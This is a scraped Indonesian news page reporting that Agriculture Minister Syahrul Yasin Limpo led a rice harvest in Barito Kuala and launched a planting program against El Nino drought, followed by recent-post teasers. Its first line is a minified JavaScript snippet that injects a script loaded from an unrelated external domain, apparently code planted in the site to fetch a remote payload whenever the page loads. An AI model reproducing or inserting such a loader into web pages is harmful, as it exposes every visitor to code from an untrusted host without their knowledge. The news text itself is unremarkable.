(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV BARITO KUALA

Menteri Pertanian, Pimpin Panen Raya di Barito Kuala


KANALKALIMANTAN.COM, MARABAHAN – Menteri Pertanian Republik Indonesia, Syahrul Yasin Limpo, memimpin panen raya padi sekaligus meluncurkan program tanam 1.000 hektare per kabupaten di Kalimantan Selatan.

Acara tersebut diadakan di Kabupaten Barito Kuala sebagai langkah strategis untuk menghadapi dampak perubahan iklim, terutama kemarau panjang akibat El Nino.

Dalam sambutannya, Menteri Pertanian menyatakan bahwa pertanian memiliki peran krusial dalam memperbaiki, membahagiakan, dan mensejahterakan kehidupan manusia.

Ia menekankan pentingnya pertanian di Barito Kuala untuk semakin maju meskipun dihadapkan pada dampak perubahan iklim.

Menteri Pertanian mengajak pemerintah daerah dan petani setempat untuk mandiri dalam membangun pertanian, terutama mengingat keterbatasan dana APBN untuk sektor pertanian.

Syahrul Yasin Limpo juga menyoroti cara mengantisipasi kemarau panjang dan dampak ekstrimnya. Ia mengusulkan percepatan tanam dengan melakukan tiga kali tanam setahun dan menggunakan alat mesin pertanian (alsintan) untuk habis panen langsung tanam.

Hal ini diharapkan dapat mengurangi kerugian panen dan meningkatkan produksi.

Dalam rangka memperkuat stok beras nasional, Menteri Pertanian menekankan pentingnya menambah luas lahan pertanian.

Barito Kuala diminta untuk menggarap lahan seluas 3.000 hektare sebagai bagian dari upaya mencapai target produksi beras nasional. Pemerintah menyediakan dana Kredit Usaha Rakyat (KUR) untuk petani yang dapat digunakan untuk alat mesin pertanian dan sarana produksi lainnya.

Penjabat Bupati Barito Kuala, Mujiyat, mengakui bahwa pertanian di daerahnya membutuhkan bantuan pompanisasi dan pipanisasi yang memadai dalam menghadapi dampak El Nino.

Meskipun Kabupaten Barito Kuala mengalami banjir sejak pandemi COVID-19, panen padi tetap berlanjut hingga bulan Mei.

Sebagai dukungan langsung, Menteri Pertanian menyerahkan bantuan sebesar Rp3,82 miliar kepada Kabupaten Barito Kuala dalam kegiatan pencanangan tanam 1.000 hektare per kabupaten/kota se-Kalimantan Selatan.

Program ini diharapkan dapat meningkatkan produktivitas pertanian dan menjaga ketahanan pangan nasional.(www.kanalkalimantan.com/kk)

Reporter : KK
Editor : KK


Muhammad Andi

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

6 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

8 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.